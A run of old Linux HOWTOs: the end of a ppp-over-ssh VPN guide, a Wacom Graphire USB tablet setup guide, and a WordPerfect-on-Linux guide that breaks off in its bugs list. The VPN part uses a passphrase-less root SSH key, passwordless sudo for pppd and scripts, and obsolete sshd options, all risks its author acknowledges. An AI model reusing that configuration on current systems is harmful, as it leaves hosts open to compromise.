4.5 Set up the accounts for the VPN

Create an account on the slave firewall use your favourite tool (e.g. vi, mkdir, chown, chmod) you might create an account on the master also, but I think you want to set up the connection at boot time, so your ordinary root account will do. Can anyone point out risks on using the root account on the master?

4.6 Generate an ssh key for your master account

Use the ssh-keygen program. Set empty password for the private key if you want to do automatic setup of the VPN.

4.7 Set up automatic ssh login for the slave account

Copy the newly generated public key in the slave account under .ssh/authorized_keys, and set up file permissions like the following:

drwx------ 2 slave slave 1024 Apr 7 23:49 ./
drwx------ 4 slave slave 1024 Apr 24 14:05 ../
-rwx------ 1 slave slave 328 Apr 7 03:04 authorized_keys
-rw------- 1 slave slave 660 Apr 14 15:23 known_hosts
-rw------- 1 slave slave 512 Apr 21 10:03 random_seed

The first row being ~slave/.ssh, and the second is ~slave.

4.8 Tighten ssh security on the bastions.

It means the followings on my setup in sshd_conf:

PermitRootLogin no
IgnoreRhosts yes
StrictModes yes
QuietMode no
FascistLogging yes
KeepAlive yes
RhostsAuthentication no
RhostsRSAAuthentication no
RSAAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no

Password authentication is turned off, so login is only possible with authorized keys. (You've turned off telnet and the 'r' commands of course).

4.9 Enable execution of ppp and route for both accounts.

As the master account is the root in my case, it has nothing to do. For the slave account, the following lines appear in /etc/sudoers:

Cmnd_Alias VPN=/usr/sbin/pppd,/usr/local/vpn/route
slave ALL=NOPASSWD: VPN

As you can see, I am using some scripts to set up ppp and the routing tables on the slave host.

4.10 Do the scripting

On the master host there is a full-blown init script I am using:

#! /bin/sh
# skeleton      example file to build /etc/init.d/ scripts.
#               This file should be used to construct scripts for /etc/init.d.
#
#               Written by Miquel van Smoorenburg <miquels@cistron.nl>.
#               Modified for Debian GNU/Linux
#               by Ian Murdock <imurdock@gnu.ai.mit.edu>.
#
# Version:      @(#)skeleton  1.6  11-Nov-1996  miquels@cistron.nl
#

PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
PPPAPP=/home/slave/ppp
ROUTEAPP=/home/slave/route
PPPD=/usr/sbin/pppd
NAME=VPN
REDIR=/usr/local/bin/pty-redir
SSH=/usr/bin/ssh
MYPPPIP=192.168.0.1
TARGETIP=192.168.0.2
TARGETNET=193.6.37.0
MYNET=193.6.35.0
SLAVEWALL=polanski-out
SLAVEACC=slave

test -f $PPPD || exit 0

set -e

case "$1" in
  start)
        echo setting up vpn
        $REDIR $SSH -o 'Batchmode yes' -t -l $SLAVEACC $SLAVEWALL sudo $PPPAPP >/tmp/device
        TTYNAME=`cat /tmp/device`
echo tty is $TTYNAME
        sleep 10s
        if [ ! -z $TTYNAME ]
        then
        $PPPD $TTYNAME ${MYPPPIP}:${TARGETIP}
        else
                echo FAILED!
                logger "vpn setup failed"
        fi
        sleep 5s
        route add -net $TARGETNET gw $TARGETIP
        $SSH -o 'Batchmode yes' -l $SLAVEACC $SLAVEWALL sudo $ROUTEAPP
    ;;
  stop)
        ps -ax | grep "ssh -t -l $SLAVEACC " | grep -v grep | awk '{print $1}' | xargs kill
    ;;
  *)
    # echo "Usage: /etc/init.d/$NAME {start|stop|reload}"
    echo "Usage: /etc/init.d/$NAME {start|stop}"
    exit 1
    ;;
esac

exit 0

The slave uses one script for routing setup (/usr/local/vpn/route):

#!/bin/bash
/sbin/route add -net 193.6.35.0 gw 192.168.0.1

and its .ppprc consists of the following:

passive


The VPN HOWTO : Look at what's happening:

 Next Previous Contents

5. Look at what's happening:

The master logs in into the slave, starts pppd, and redirects this all thing into a local pty. It consists of the following steps:

  • allocating a new pty
  • sshing into the slave
  • running pppd on the slave
  • the master runs pppd in this local pty
  • and sets up the routing table on the client.

There are (not very tight) timing considerations involved, this is why that 'sleep 10s'.


The VPN HOWTO : Doing it by hand.

 Next Previous Contents

6. Doing it by hand.

6.1 Logging in

You've already tried if ssh works well, aren't you? If the slave refuses to log you in, read the logs. Perhaps there are problems with file permissions or the sshd setup.

6.2 Firing up ppp

Log in into slave, and issue:

sudo /usr/sbin/pppd passive

You should see garbage coming at this point. If it works good, if not, there is some problem either with sudo, either with pppd. Look what the commands had said, and at the logs and at the /etc/ppp/options, and the .ppprc file. If it works, write this 'passive' word into .ppprc, and try again. To get rid off the garbage and continue working, press enter,'~' and '^Z'. You should have the master's prompt now, and kill %1. See the section about tuning if you want to know more of the escape character.

6.3 Together the two

Well, then

ssh -l slave polanski sudo /usr/sbin/pppd

should work also, and deliver the garbage right into your face.

6.4 Pty redirecting

Try to redirect this whole thing this time:

/usr/local/bin/pty-redir /usr/bin/ssh -l slave polanski sudo /usr/sbin/pppd

Nice long sentence isn't it? You should use the full path into the ssh executable, as the pty-redir program allows only this form for security reasons. Now you've got a device name from the program. Let's say, you've got /dev/ttyp0 You can use the ps command to look what has happened. Look for 'p0'

6.5 Is anything on the device?

Try

/usr/sbin/pppd /dev/ttyp0 local 192.168.0.1:192.168.0.2

to establish the connection. Look at the output of the ifconfig command to see if the device has established, and use ping to check your virtual net.

6.6 Setting up the routes

Set up the routes on the master host, and on the slave also. Now you should be able to ping one host in one intranet from other host in the other intranet. Set up the additional firewalling rules. Now as you have the VPN, you can set up the rules concerning the connectivity of the two intranets.


The VPN HOWTO : Tuning

 Next Previous Contents

7. Tuning

7.1 Configuration tuning

As I said this HOWTO is mainly a quick memo on how I had set up a VPN. There are things in the configuration I didn't experiment yet. These things will go into their place when I try them, or anyone tells me "it works in the following way" The most important thing is that the connection ppp uses is not 8-bit yet. I believe it has something to do either with ssh configuration or the pty setup. In this configuration ssh uses the tilde (~) character as an escape character. It might stop or slow down the communication, as any newline-tilde sequence causes ssh to give a prompt. Ssh documentation said: <On most systems, setting the escape character to ``none'' will also make the session transparent even if a tty is used.> The corresponding flag to ssh is '-e', and you can also set it in the configuration file.

7.2 Bandwith vs. cicles

Creating anything virtual comes with utilization of real-world resources. A VPN eats up bandwidth and computing resources. The goal would be to get balance between the two. You can tune it with the '-C' switch or the 'CompressionLevel' option. You might try using another cipher, but I don't recommend it. Also note that the round-trip-time can be longer if you use better compression. Any experiments on it are welcome.


The VPN HOWTO : Vulnerability analisis

 Next Previous Contents

8. Vulnerability analisis

I try to cover here the vulnerability issues arising from this particular setup and VPNs in general. Any comments are warmly welcome.

  • sudo: Well, I'm excessively using sudo. I believe it's still safer than using setuid bits. It's still a backdraw of Linux that it hasn't got more fine-grained access control. Waiting for POSIX.6 compatibility <http://www.xarius.demon.co.uk/software/posix6/>. What is worse, there are shell scripts which are getting called through sudo. Bad enough. Any idea out there?
  • pppd: It runs suid root also. It can be configured by user's .ppprc. There might be some nice buffer overruns in it. The bottom line: secure your slave account as tightly as you can.
  • ssh: Beware that ssh older than 1.2.20 has security holes. What is worse, we made a configuration such when the master account had been compromised, the slave account is also compromised, and wide open to attacks using the two sudoed programs. It is because I've choosen not to have password on the master's secret key to enable automatic setup of the VPN.
  • firewall: With inproperly set firewall rules on one bastion, you open both of the intranets. I recommend using IP masquerading (as setting up incorrect routes is a bit less trivial), and doing hard control on the VPN interfaces.

8.1 About the ppp over ssh VPN technique

I developed this technique when there was no usable, standard VPN for Linux. Now this is no longer the case. At the time of writing this, you have the following alternatives: If you want to use standard IPSEC VPN, you can use FreeS/WAN or pipsecd. For PPTP you can use PoPToP (but be aware that PPTP protocol has weaknesses). It is also worth to mention CIPE which is a lightweight alternative for IPSEC.

This wide range of alternatives means that the ssh/ppp implementation described in this howto is in the most cases not the best solution. This is due the fact that this implementation is complex to set up and has performance problems because of its tcp based nature.

I believe that the ssh/ppp technique is no longer beneficial for building a VPN for non-illegal purposes in most cases, so I have discontinued maintaining this HOWTO.


Wacom Graphire USB Mini-HOWTO

Arnaud Claden

01 June 2000

This is the Wacom Graphire USB Mini-HOWTO. This document describes how to setup a Wacom Graphire USB tablet for use with Linux (console and X), starting with the kernel configuration to the application level. But information should be accurate for the Intuos USB tablet.

1. Copyright

2. Introduction

  • 2.1 New versions of this document
  • 2.2 Feedback and Corrections
  • 2.3 Acknowledgements
  • 2.4 Disclaimer

3. Requirements

  • 3.1 Hardware
  • 3.2 Kernel
  • 3.3 Console Software
  • 3.4 XWindow
  • 3.5 Others

4. Kernel and hard stuff

  • 4.1 Kernel configuration
  • 4.2 Kernel compilation
  • 4.3 Before rebooting

5. The Linux console

6. XWindow

  • 6.1 Having 2 mouses on the same system
  • 6.2 Now on to the real stuff
  • 6.3 The new module

7. Further documentation


Wacom Graphire USB Mini-HOWTO: Copyright

 Next Previous Contents

1. Copyright

Copyright (c) 2000 by Arnaud Claden <tiamat@club-internet.fr>

This document describes the installation of Wacom tablets under linux. You may use, disseminate, and reproduce this document freely, provided you:

  1. Do not omit or alter this copyright notice.
  2. Do not omit or alter the version number and date.
  3. Do not omit or alter the document's pointer to the current WWW version.
  4. Clearly mark any condensed, altered or modified versions as such.


Wacom Graphire USB Mini-HOWTO: Introduction

 Next Previous Contents

2. Introduction

This document is a guide to getting your Wacom Graphire USB tablet to working with Linux. Beware, this is a quite difficult task, but this guide will guide you, step-by-step, through the process.

This work is mainly derived from the Wacom Tablet HOWTO by Stephan Runkel, but brings some precisions about all the USB configuration that is absent from the original document. If you want more precision about general Wacom Tablets, please read Stephan Runkel's HOWTO.

I have written this document because I've had many difficulties in setting up my brand new Graphire tablet with Linux, but now it works quite well on my Toshiba 4030CDT Laptop.

2.1 New versions of this document

New version of this document will be made available at the following location :

http://perso.club-internet.fr/tiamat/computer/howto/Wacom_USB-Mini_HOWTO.html

2.2 Feedback and Corrections

Comments, corrections, and additions will greatly be appreciated. I can be contacted at:

<tiamat@club-internet.fr>

2.3 Acknowledgements

I wish to thank everyone that work on the USB part of the kernel, and special thanks go to Vojtech Pavlik for his work on the wacom module.

Of course, I thank Stephan Runkel for his great Wacom Tablet HOWTO that helped me much in the configuration process.

Special thanks also go to Frederic Lepied for his work on the xf86Wacom module.

2.4 Disclaimer

The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages incurred from the use of the information contained herein.This document is not a kernel howto, so I'll take the assumption that you know how to download/install a new kernel, and how to configure/compile it.


Wacom Graphire USB Mini-HOWTO: Requirements

 Next Previous Contents

3. Requirements

3.1 Hardware

The main part is, of course, a computer with at least one USB port and a Wacom Graphire USB tablet.

3.2 Kernel

I've used the latest development kernel for my installation : linux-2.3.99-pre6. It's quite stable and has all the necessary features. You can also find some downports, which are patches for old 2.2.x kernels. You can find all the infos on the backport at http://www.suse.cz/development/usb-backport

3.3 Console Software

For the Linux console, the only program you need is gpm, available at ftp://ftp.prosa.it/pub/gpm

3.4 XWindow

For having all the abilities of your tablet, you'll need to use XInput. More specifically you'll need the xf86Wacom.so module (that is shipped with the most recent versions of XFRee86 starting from 3.3.5). Alternately, you may need the xf86WacomUSB.so, which is a work-in-progress of adapting the original xf86Wacom.so to use the USB. I'll speak of it later in this document.

3.5 Others

The applications supporting XInput are :

  1. The Gimp - a powerful image manipulation program in the style of Photoshop. The 1.1.x instable development version includes XInput support as a standard feature. You can obtain Gimp from http://www.gimp.org
  2. gsumi - a simple B/W drawing program that supports drawing / erasing with pressure and tilt sensitivity. Get it from the gsumi web page: http://www.gtk.org/~otaylor/gsumi/
  3. xink (By Ralph Levien) - another rudimentary drawing program for X. xink is available from: ftp://kiwi.cs.berkeley.edu/pub/raph/xink.tar.gz
  4. RasMol - a molecular visualization program that supports a hardware dial box using XInput. look at http://www.umass.edu/microbio/rasmol/distrib/rasman.htm .
  5. xinput (by Frederic Lepied) - a very useful utility for configuring and testing XInput devices. xinput is available from: ftp://ftp.x.org/contrib/utilities/xinput-1.2.tar.gz


Wacom Graphire USB Mini-HOWTO: Kernel and hard stuff

 Next Previous Contents

4. Kernel and hard stuff

4.1 Kernel configuration

Like I said earlier, the options I'll give come from the 2.3.99pre6 kernel. If everything is not exactly the same, I think that taking a good guess should help ;)

** Reminder : [] stands for Yes/No options, and <> stands for Yes/No/Module **

First of all, you have to enable the experimental code :

Code Maturity level options --->

[*] Prompt for development and/or incomplete code/drivers

If you don't, you won't have access to some of the drivers.

Then, move on to the USB section.

USB support --->

<*> Support for USB

[*] USB verbose debug messages

--- Miscellaneous USB options

[*] Preliminary USB device filesystem

With this option, you'll activate the new features of the /dev/usb/* (which, of course, you'll have to create : to be seen later)

--- USB controllers

<*> UHCI (Intel PIIX4, VIA, ...) support

< > OHCI (Compaq, iMacs, OPTi, SiS, ALi, ...) support

You must choose one of these, and only one. So, if one doesn't work, then choose the other. Chances are that, if you use an x86 system, you'll take the UHCI driver.

--- USB Devices

< > USB Printer support

< > USB Scanner support

< > USB Audio support

< > USB Modem (CDC ACM) support

If you have one of these, feel free to activate the options

<M> USB Serial Converter support

This options must be activated for the Wacom tablet to work.

[*] USB Generic Serial Driver

[ ] USB Handspring Visor Driver

[ ] USB ConnectTech WhiteHEAT Serial Driver (EXPERIMENTAL)

[ ] USB FTDI Single Port Serial Driver (EXPERIMENTAL)

[ ] USB Keyspan PDA Single Port Serial Driver (EXPERIMENTAL)

[ ] USB ZyXEL omni.net LCD Plus Driver (EXPERIMENTAL)

[*] USB Serial Converter verbose debug

If you want to have all the messages (which can be very helpful in the beginning). When satisfied with the functionning, you can deactivate it.

< > USB Kodak DC-2xx Camera support

< > USB Mustek MDC800 Digital Camera support (EXPERIMENTAL)

< > USB Mass Storage support (EXPERIMENTAL)

< > USS720 parport driver

< > DABUSB driver

< > PLUSB Prolific USB-Network driver (EXPERIMENTAL)

< > USB ADMtek Pegasus-based device support (EXPERIMENTAL)

< > USB Diamond Rio500 support (EXPERIMENTAL)

--- USB HID

The HID is kinda the interface between you and your devices, so you MUST activate it.

<M> USB Human Interface Device (HID) support

< > USB HIDBP Keyboard support

< > USB HIDBP Mouse support

<M> Wacom Intuos/Graphire tablet support

There we go, the Wacom support should be activated (unless you read this just for fun ;) )

< > Logitech WingMan Force joystick support

< > Keyboard support

<M> Mouse support

To be activated to use the Wacom Intuos/Graphire mouse

(1024) Horizontal screen resolution

(768) Vertical screen resolution

<M > Joystick support

<M> Event interface support

4.2 Kernel compilation

Now the easy stuff :

When you exit the configuration do as they say

make dep bzImage modules modules_install

Type it just like this and the computer will run all the steps one after the other.

Then copy the file bzImage to /boot, copy the System.map to /boot, edit your lilo.conf to point to your new kernel and type /sbin/lilo at the prompt.

** Of course all of this (kernel config, kernel compilation and lilo tweaking must be done as root) **

4.3 Before rebooting

FStab

If you want to avoid error messages at the next reboot, you'll have to do the following :

Edit the file /etc/fstab and add the following lines

none /proc/bus/usb usbdevfs defaults 0 0

This one is to activate the usb device filesystem

none /var/shm shm defaults 0 0

This one is because of a change in the shared memory stuff in the kernel.

USB related devices

Next, if you want to be able to use the USB :

mkdir /dev/input

mknod /dev/input/mouse0 c 13 32

This will activate the mouse support

mknod /dev/input/event0 c 13 64

mknod /dev/input/event1 c 13 65

mknod /dev/input/event2 c 13 66

mknod /dev/input/event3 c 13 67

These will activate the stylus : moves, pressure, button and eraser.

Modules configuration

Edit the file /etc/modules.conf and add the following line :

alias char-major-13 usbcore

What I did next

Next I added in the /etc/rc.d/boot.local file (remember, I use a SuSE distribution, but you should fine an equivalent for RedHat in /etc/rc.d/init.d/boot.local or /etc/rc.d/init.d/rc.local)

/sbin/modprobe wacom

/sbin/modprobe mousedev

/sbin/modprobe evdev

Just to be sure the modules will load at boot time.

Last but not least

Reboot ;)

Check your boot messages (dmesg | less), and see if there are no errors related to USB. It may be because you've chosen UHCI and your system is an OHCI one.

On my system, the following messages are shown :

.....

.....

usb.c: registered new driver usbdevfs

usb.c: registered new driver hub

usb-uhci.c: $Revision: 1.9 $ time 17:54:28 May 8 2000

usb-uhci.c: High bandwidth mode enabled

usb-uhci.c: Intel USB controller: setting latency timer to 0

usb-uhci.c: USB UHCI at I/O 0xffe0, IRQ 11

usb-uhci.c: Detected 2 ports

usb.c: new USB bus registered, assigned bus number 1

usb.c: USB new device connect, assigned device number 1

usb.c: kmalloc IF c3fcd2e0, numif 1

usb.c: new device strings: Mfr=0, Product=2, SerialNumber=1

usb.c: USB device number 1 default language ID 0x0

Product: USB UHCI Root Hub

SerialNumber: ffe0

hub.c: USB hub found

hub.c: 2 ports detected

hub.c: ganged power switching

hub.c: standalone hub

hub.c: global over-current protection

hub.c: power on to power good time: 2ms

hub.c: hub controller current requirement: 0mA

hub.c: port 1 is removable

hub.c: port 2 is removable

hub.c: local power source is good

hub.c: no over-current condition exists

hub.c: enabling power on all ports

usb.c: hub driver claimed interface c3fcd2e0

.....

.....

hub.c: port 1 connection change

usb.c: USB new device connect, assigned device number 2

usb.c: kmalloc IF c3fcd620, numif 1

usb.c: skipped 1 class/vendor specific interface descriptors

usb.c: new device strings: Mfr=1, Product=2, SerialNumber=0

usb.c: USB device number 2 default language ID 0x409

Manufacturer: WACOM

Product: ET-0405-UV1.1-1

usb.c: unhandled interfaces on device

usb.c: This device is not recognized by any installed USB driver.

Length = 18

DescriptorType = 01

USB version = 1.00

Vendor:Product = 056a:0010

MaxPacketSize0 = 0

NumConfigurations =1

Device Version = 1.11

Device Class:SubClass:Protocol = 00:00:00

Per-interface classes

Configuration:

.....

.....

When the kernel says "This device is not recognized by any installed USB driver", it's because, at boot time, the wacom module is not yet loaded. But as you can see, the whole USB bus and interfaces are recognized. So if your system doesn't work and doesn't have such messages, try to check if you haven't forgotten an USB option (something I indicated to be put in the kernel and that you put as a module : if it's the case, in the /etc/rc.d/init.d/boot.local, put the necessary modprobe BEFORE the 3 lines I indicated, for example /sbin/modprobe usb-uhci).

When the wacom module loads, here are the messages :

.....

.....

usb.c: registered new driver wacom

input0: Wacom Graphire on usb2

usb.c: wacom driver claimed interface c3fcd620

mouse0: PS/2 mouse device for input0

mice: PS/2 mouse device common for all mice

event0: Event device for input0

.....

.....

Retry and check everything until you get all these messages (or corresponding ones).


Wacom Graphire USB Mini-HOWTO: The Linux console

 Next Previous Contents

5. The Linux console

Now that you have your USB activated, it's just about time to try it all with gpm :

If gpm is activated at boot time, you'll have to kill it : gpm -k

Then try your Wacom tablet : gpm -tIMPS/2 -m /dev/input/mouse0

Move your stylus, or your mouse, and TADA ... the cursor moves on the screen.


Wacom Graphire USB Mini-HOWTO: XWindow

 Next Previous Contents

6. XWindow

6.1 Having 2 mouses on the same system

Have you ever dreamed of having 2 mouses on your system ? If the answer is yes, do the following.

Edit the file /etc/XF86Config

The modules section should look like this

Section "Module"

Load "xf86Wacom.so"

EndSection

Then check the XInput section :

Section "XInput"

SubSection "Mouse"

DeviceName "WacomTablet" --> or whatever you like

Protocol "IMPS/2" --> I didn't manage to have imwheel recognize the wheel, but if you do, drop me an email

Port "/dev/input/mouse0"

Buttons 5

ZAxisMapping 4 5

AlwaysCore --> means that the Wacom mouse is always considered as the core pointer, ie if you move your normal mouse or the Wacom mouse (or stylus), it'll be just the same.

EndSubSection

EndSection

And there you are, the Wacom mouse (or stylus) is now considered as a second mouse, but your normal one still works.

6.2 Now on to the real stuff

Back to the XInput section, after the parameters for the mouse, here is the real Wacom stuff :

SubSection "WacomStylus"

Port "/dev/input/event0" --> the USB event device

DeviceName "WacomStylus" --> or whatever you want to call it

Mode Absolute --> ie the tablet surface is equivalent to the screen surface

#Suppress 6

DebugLevel 10 --> once everything works, set it to 0

#TiltMode

#HistorySize 200

#AlwaysCore

#KeepShape

#TopX 20412 --> the 4 lines are used to fine-tune the coordinate to fit with the screen

#TopY 14730

#BottomX 0

#BottomY 0

EndSubSection

SubSection "WacomEraser"

DeviceName "/dev/input/event0"

DeviceName "WacomEraser"

Mode Absolute

EndSubSection

SubSection "WacomCursor"

Port "/dev/input/event0"

DeviceName "GraphireMouse"

Mode Absolute

EndSubSection

6.3 The new module

The xf86Wacom.so is not specifically written for the USB tablets, and it's even not working correctly with these tablets. A new driver has been written by Matsumura Namihiko <po-jp@geocities.co.jp> has written one named xf86WacomUSB (available as source code at the same location than this Mini-HOWTO). However, to be able to compile it, you'll need the kernel source code and the source tree for XFree86 (I compiled it with success against XFree86 3.3.5, but it should compile with 3.3.6).

This driver doesn't handle all the possibilities of the tablet, and crashes if you pass it the AlwaysCore parameter.

To correct this, I'll keep in touch with Frederic Lepied for a modification of the original module to have it handle all of the possibilities of the tablet.

**NEWS** At Frederic Lepied's site, you'll find a link to a new USB driver that works perfectly well, but exclusively with the possibility to have your tablet working as a mouse : ie either you use your tablet in The Gimp to draw, or you use it as an XFree mouse, but not both together. I'll investigate further, and update this document accordingly.


Wacom Graphire USB Mini-HOWTO: Further documentation

 Next Previous Contents

7. Further documentation

For more information about Wacom tablets in general, try the great Wacom tablet HOWTO from Stephan Runkel <runkel@runkeledv.de> : http://www.linuxdoc.org/HOWTO/Wacom-Tablet-HOWTO.html

About the xf86Wacom.so, check Frederic Lepied's <lepied@xfree86.org> : http://www.lepied.com/xfree86

xf86WacomUSB.so, available at ftp://ftp.aros.org/pub


WordPerfect Mini-howto

Wade Hampton, whampton@staffnet.com

v2.0, 13 August 1997

This document discusses running WordPerfect on Linux, including a brief discussion on the WordPerfect 7.0 beta. This is an update to the previous mini-howto that described notes on setting up WordPerfect 6.0 for SCO UNIX (ODT) on Linux. This document is not endorsed nor sponsored by Corel Corporation or SDC.

1. Introduction

  • 1.1 Overview
  • 1.2 History
  • 1.3 Future Revisions
  • 1.4 Feedback
  • 1.5 Copyright
  • 1.6 Standard Disclaimer

2. What is WordPerfect

3. WordPerfect 7.0 Beta

  • 3.1 Impressions of 7.0
  • 3.2 Getting WordPerfect 7.0
  • 3.3 Installation of 7.0
  • 3.4 Features
  • 3.5 Bugs in 7.0
  • 3.6 Pricing and Availability

4. WordPerfect 6.0 (Caldera)

  • 4.1 Impressions of 6.0
  • 4.2 Getting WordPerfect 6.0
  • 4.3 Installation of 6.0
  • 4.4 Bugs in 6.0

5. WordPerfect 5.1 and 6.0 (SCO release)

  • 5.1 Impressions of WP/SCO
  • 5.2 Getting WordPerfect WP/SCO
  • 5.3 Installation of WP/SCO
  • 5.4 Bugs in WP/SCO

6. The Future

7. For More Information


WordPerfect Mini-howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Overview

The purpose of this document is to discuss WordPerfect on Linux. Discussed are running WP for SCO, WP 6.0 from Caldera, and a discussion on the WordPerfect 7.0 beta.

This document is an update to the previous mini-howto that described notes on setting up WordPerfect 6.0 for SCO UNIX (ODT) on Linux.

This document is not endorsed nor sponsored by Corel Corporation or Software Development Corporation.

1.2 History

  • Version 1.0 -- Description on how to use WordPerfect 5.1 and 6.0 for SCO ODT 3.0 on Linux
  • Version 2.0 -- Update and inclusion of information on Caldera's WordPerfect 6.0 distribution and the WordPerfect 7.0 beta.

1.3 Future Revisions

New versions of this document will be periodically posted to comp.os.linux.announce, comp.answers, and news.answers. They will also be added to the various anonymous ftp sites who archive such information including sunsite.unc.edu:/pub/Linux/docs/HOWTO.

In addition, you should be generally able to find this document on the Linux WorldWideWeb home page at http://sunsite.unc.edu/mdw/linux.html.

1.4 Feedback

I welcome any feedback, positive or negative, regarding the content of this document via e-mail. Definitely contact me if you find errors or obvious omissions.

I read, but do not necessarily respond to, all e-mail I receive. Requests for enhancements will be considered and acted upon based on my availability.

Flames will quietly go to /dev/null so don't bother.

1.5 Copyright

The WordPerfect mini-HOWTO is copyrighted (c)1995-1997 Wade Hampton.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it.

Short quotes may be used without prior consent by the author. Derivative work and partial distributions of the WordPerfect mini-HOWTO must be accompanied with either a verbatim copy of this file or a pointer to the verbatim copy.

Commercial redistribution is allowed and encouraged; however, the author would appreciate being notified of any such distributions (as a courtesy).

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents.

We further want that ALL information provided in the HOWTOS is disseminated. If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu.

1.6 Standard Disclaimer

Of course, I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

This document is not endorsed nor sponsored by Corel Corporation or Software Development Corporation.


WordPerfect Mini-howto: What is WordPerfect

 Next Previous Contents

2. What is WordPerfect

WordPerfect is a popular, fully-featured commercial word processor program that is available for multiple platforms including Linux. It was originally written and sold by WordPerfect Corporation, subsequently purchased by Novell, then purchased about a year or so ago by Corel Corporation (Ottawa, Ontario, CA). Corel has outsourced the development of WordPerfect for UNIX (including Linux) to SDC Corporation, a corporation including former WordPerfect developers, and specializing in development for UNIX and X windows.

Until the release of Microsoft Word, WordPerfect was the most popular word processor for personal computers (it still claims to be by volume of product shipped, some reports indicate that more copies were sold than Microsoft Word during recent months). WordPerfect was originally written for DOS and later ported to the UNIX and Windows environments. Initial versions of WordPerfect for Windows were very late to market and tended to crash a lot, hence opening the floodGATES for Microsoft Word. WordPerfect is still a better word processor than Word for large documents or documents that must be moved between Mac, UNIX, and Microsoft platforms.

WordPerfect provides a WYSWYG environment for editing text documents. One of the best features is the ability to check your spelling as you type. Included are grammar checker, spelling checker, graphics import and export, and the ability to edit HTML documents. Documents created by WordPerfect on one platform may be read, edited, and printed on other platforms (I have generated a lot of documents using WP 6.0 (Caldera's release) and distributed them to Windows 95 users using WP 7.0 or 8.0).

WordPerfect runs on the following platforms (release or beta versions):

  • Linux 1.2.13 (WordPerfect 6.0 for Linux, sold by Caldera)
  • Linux 2.0.X (WordPerfect 6.0 and WordPerfect 7.0)
  • Microsoft DOS, Windows 3.1, Windows 95, Windows NT
  • Macintosh
  • HP-UX 10.01
  • IBM AIX 4.1.4
  • SCO OpenServer 5.0.0
  • Sun SPARC Solaris 2.5
  • SUN SPARC SunOS 4.1.x
  • SUN X86 Solaris 2.5.1
  • Digital UNIX 3.2 G Alpha
  • SCO 3.2.4.2


WordPerfect Mini-howto: WordPerfect 7.0 Beta

 Next Previous Contents

3. WordPerfect 7.0 Beta

3.1 Impressions of 7.0

I have been very impressed with the operation of WordPerfect 7.0 for Linux. I only recently downloaded it and tried it. It looks like WP 7.0 for Windows. The features appear to work properly. I especially like the spell-as-you-go feature!

The HTML publisher works a little better than that on WP 6.0, but still has some bugs. Someone reported that WP 7.0 requires a lot of swap space (I have not tested it at this time).

3.2 Getting WordPerfect 7.0

WP 7.0 is available as several LARGE tarballs from sdcorp's FTP site (or via the WWW). I tried for two days to download the 26MB archive using ISDN but only was able to get part of the file. I eventually had to use a commercial account with a T1 to the Internet to get the files. It would be much easier to download if each tarball was split into several smaller files (1-2 MB in size). Note, when you uncompress the tarballs, the result is a small number of medium sized files -- just what is needed.

The current version that you can download is time limited to 15 days. During this time, you can pay them and they will give you a license for it.

   For WP 7.0 Beta:

        ftp://ftp.sdcorp.com/pub/linux_betab/wp7linuxbetab.tar.gz

              4887525 graphics_tar.gz
             17652138 manual_tar.gz
               450535 wp60ms01_us.all
               290443 wp60ps01_us.all
             26962514 wp7linuxbetab_tar.gz

3.3 Installation of 7.0

To install, you must extract the tarballs, run the Runme program, answer some questions and then run xwp to start WP 7.0. Note, you need 58 MB just for WP 7.0, prior to the manuals, graphics, etc.

  1. Extract the tarball into a temporary directory, need 31M
                  tar xvzf wp7linuxbetab_tar.gz
                creates LINUX* files and Runme, the install program
  2. As root and with X windows running, run the Runme program and you get a series of screens to select the installation type. Answer the questions:

                ./Runme

                License Screen:
                        Hit OK

                Demo Screen:
                        Hit OK
                          Corel Corporation:  800-772-6735
                            UNIX Support:     801-765-4019

                Installation Directory:
                        Enter directory, e.g., /opt/wp7.0
                        Hit OK

                Installation Size:
                        Full:      71-80M
                        Medium:    45-51M
                        Minimal:   37-41M

                Existing Application:
                        If you have WP 6.0 (Caldera installs in
                        /opt/wp6.0 by default), you can keep your
                        settings for terminal drivers, printer drivers
                        and printer ports.  Recommended.

                        Enter directory (if present)
                        Hit OK

                Edit /etc/magic?
                        Will add WP files to /etc/magic.  Will backup
                          /etc/magic as /etc/magic.bak
                        Select YES or NO
                        Hit OK

                Selection of languages to Install
                        Only have English, it is selected
                        Hit OK

                Select print divers:
                        Select your printers, may select more than one.
                        Hit OK

                Assign Printer Drivers to Destinations:
                        Click on a printer
                        Click on the destination (name from /etc/printcap)
                        Hit OK
                        Repeat for each printer you selected in previous step.

                        Hit OK

                Installation Review List:
                        Allows you to go back to any screen and make changes.
                        Select screen to make changes, or Hit OK to continue
                        Hit OK

                Graphicsl Corel WordPerfect(UNIX) installation screen
                        includes progress bar

                Readme Review screen:
                        Allows you to read any review notes....

                        Select item and View to view it, e.g., license

                        Note if you entered a license, you need to add the
                        license manager startup stuff to /etc/rc.d/rc.local!

                        Select Done when finished
  3. Run xwp:
                    /opt/wp7.0/wpbin/xwp& (or wherever you installed it)

    Note, I have WP 6.0 from Caldera, the first time I started, I got a prompt to load defaults from 6.0. I selected YES and WP loaded the defaults and exited. I then restarted xwp and my defaults, including the last files I edited with WP 6.0 were used!

3.4 Features

  • WordPerfect word processor
  • Internet publisher
  • QuickCorrect - fix your typos while typing
  • Spell-As-You-Go - spell checking while typing
  • File compatibility with DOS, UNIX, and other WordPerfect versions on other platforms

3.5 Bugs in 7.0

  • HTML export of a WP document with headers and footers sometimes leaves the bottom of the document either centered or bold.
  • HTML export of a WP document with a table of contents does not generate cross references.
  • HTML export messes up the table of contents and if sections were outlined, they become HTML list items and no longer match the TOC.
  • Installation of the manual failed. I have not had time to try to fix this problem.
  • Someone reported a problem converting WPG graphics to JPG.
  • WP 7.0 can not read files from Office97 (this has been a major pain for me as I have received several such files from others and I do not have Office97).
  • Someone reported a possible problem with getting printing to work (I had no problems at all).
  • Upon starting xwp, I received a message that some backup files existed. Upon clicking on the first backup file, XWP dumped core.

